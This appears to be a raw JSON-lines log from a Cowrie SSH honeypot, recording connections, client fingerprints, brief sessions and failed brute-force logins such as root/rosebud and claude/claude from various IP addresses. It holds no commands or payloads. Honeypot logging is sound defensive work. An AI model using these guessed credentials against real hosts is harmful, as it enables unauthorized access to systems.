{"eventid":"cowrie.login.failed","username":"admin","password":"31011997","message":"login attempt [admin/31011997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:25.964582Z","src_ip":"2.57.121.112","session":"72e0ee3d90f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":52012,"dst_ip":"10.17.0.5","dst_port":22,"session":"960b73460b5f","protocol":"ssh","message":"New connection: 94.159.98.239:52012 (10.17.0.5:22) [session: 960b73460b5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:26.221829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:26.322888Z","src_ip":"94.159.98.239","session":"960b73460b5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:26.418379Z","src_ip":"94.159.98.239","session":"960b73460b5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:26.535355Z","src_ip":"103.149.170.125","session":"8c9f282eb0d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"patrik","message":"login attempt [root/patrik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:27.043418Z","src_ip":"94.159.98.239","session":"960b73460b5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:27.073125Z","src_ip":"2.57.121.112","session":"72e0ee3d90f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:28.211066Z","src_ip":"94.159.98.239","session":"960b73460b5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.59.187","src_port":55290,"dst_ip":"10.17.0.5","dst_port":22,"session":"a40c96d5daa0","protocol":"ssh","message":"New connection: 20.203.59.187:55290 (10.17.0.5:22) [session: a40c96d5daa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:30.025050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:30.035277Z","src_ip":"20.203.59.187","session":"a40c96d5daa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:30.193107Z","src_ip":"20.203.59.187","session":"a40c96d5daa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"driver","message":"login attempt [root/driver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:30.877410Z","src_ip":"20.203.59.187","session":"a40c96d5daa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:32.037675Z","src_ip":"20.203.59.187","session":"a40c96d5daa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.168.126","src_port":57668,"dst_ip":"159.203.135.109","dst_port":22,"session":"49c3e96e3d00","protocol":"ssh","message":"New connection: 43.135.168.126:57668 (159.203.135.109:22) [session: 49c3e96e3d00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:44.972630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:44.978320Z","src_ip":"43.135.168.126","session":"49c3e96e3d00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:45.047712Z","src_ip":"43.135.168.126","session":"49c3e96e3d00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jay","message":"login attempt [root/jay] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:45.353703Z","src_ip":"43.135.168.126","session":"49c3e96e3d00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:46.427251Z","src_ip":"43.135.168.126","session":"49c3e96e3d00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.97","src_port":59782,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f433d3fcbc2","protocol":"ssh","message":"New connection: 171.244.37.97:59782 (159.203.135.109:22) [session: 1f433d3fcbc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:52.194808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:52.199759Z","src_ip":"171.244.37.97","session":"1f433d3fcbc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:52.448087Z","src_ip":"171.244.37.97","session":"1f433d3fcbc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rosebud","message":"login attempt [root/rosebud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:53.455168Z","src_ip":"171.244.37.97","session":"1f433d3fcbc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:54.702104Z","src_ip":"171.244.37.97","session":"1f433d3fcbc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":57764,"dst_ip":"10.17.0.5","dst_port":22,"session":"83d44896c4ec","protocol":"ssh","message":"New connection: 209.99.190.200:57764 (10.17.0.5:22) [session: 83d44896c4ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:57.042466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:57.047252Z","src_ip":"209.99.190.200","session":"83d44896c4ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:57.143855Z","src_ip":"209.99.190.200","session":"83d44896c4ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.1.45","src_port":56754,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3e0e17227ca","protocol":"ssh","message":"New connection: 43.134.1.45:56754 (10.17.0.5:22) [session: e3e0e17227ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:57.493059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:57.498090Z","src_ip":"43.134.1.45","session":"e3e0e17227ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:57.558525Z","src_ip":"209.99.190.200","session":"83d44896c4ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:57.743553Z","src_ip":"43.134.1.45","session":"e3e0e17227ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:58.660012Z","src_ip":"209.99.190.200","session":"83d44896c4ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd!@","message":"login attempt [root/abcd!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:58.755767Z","src_ip":"43.134.1.45","session":"e3e0e17227ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:00.006084Z","src_ip":"43.134.1.45","session":"e3e0e17227ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.56.192","src_port":45684,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cd8e2b39c95","protocol":"ssh","message":"New connection: 43.153.56.192:45684 (10.17.0.5:22) [session: 4cd8e2b39c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:05.619106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:05.624092Z","src_ip":"43.153.56.192","session":"4cd8e2b39c95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:05.693702Z","src_ip":"43.153.56.192","session":"4cd8e2b39c95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"group4","message":"login attempt [root/group4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:06.009193Z","src_ip":"43.153.56.192","session":"4cd8e2b39c95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:07.080914Z","src_ip":"43.153.56.192","session":"4cd8e2b39c95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.119.63.98","src_port":49913,"dst_ip":"10.17.0.5","dst_port":22,"session":"efd66536c3d0","protocol":"ssh","message":"New connection: 190.119.63.98:49913 (10.17.0.5:22) [session: efd66536c3d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:16.254456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:16.259135Z","src_ip":"190.119.63.98","session":"efd66536c3d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:16.431031Z","src_ip":"190.119.63.98","session":"efd66536c3d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mima2013","message":"login attempt [root/mima2013] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:17.171187Z","src_ip":"190.119.63.98","session":"efd66536c3d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.112.183","src_port":49520,"dst_ip":"10.17.0.5","dst_port":22,"session":"74d233ae65a2","protocol":"ssh","message":"New connection: 43.128.112.183:49520 (10.17.0.5:22) [session: 74d233ae65a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:18.053302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:18.057938Z","src_ip":"43.128.112.183","session":"74d233ae65a2","protocol":"ssh"}
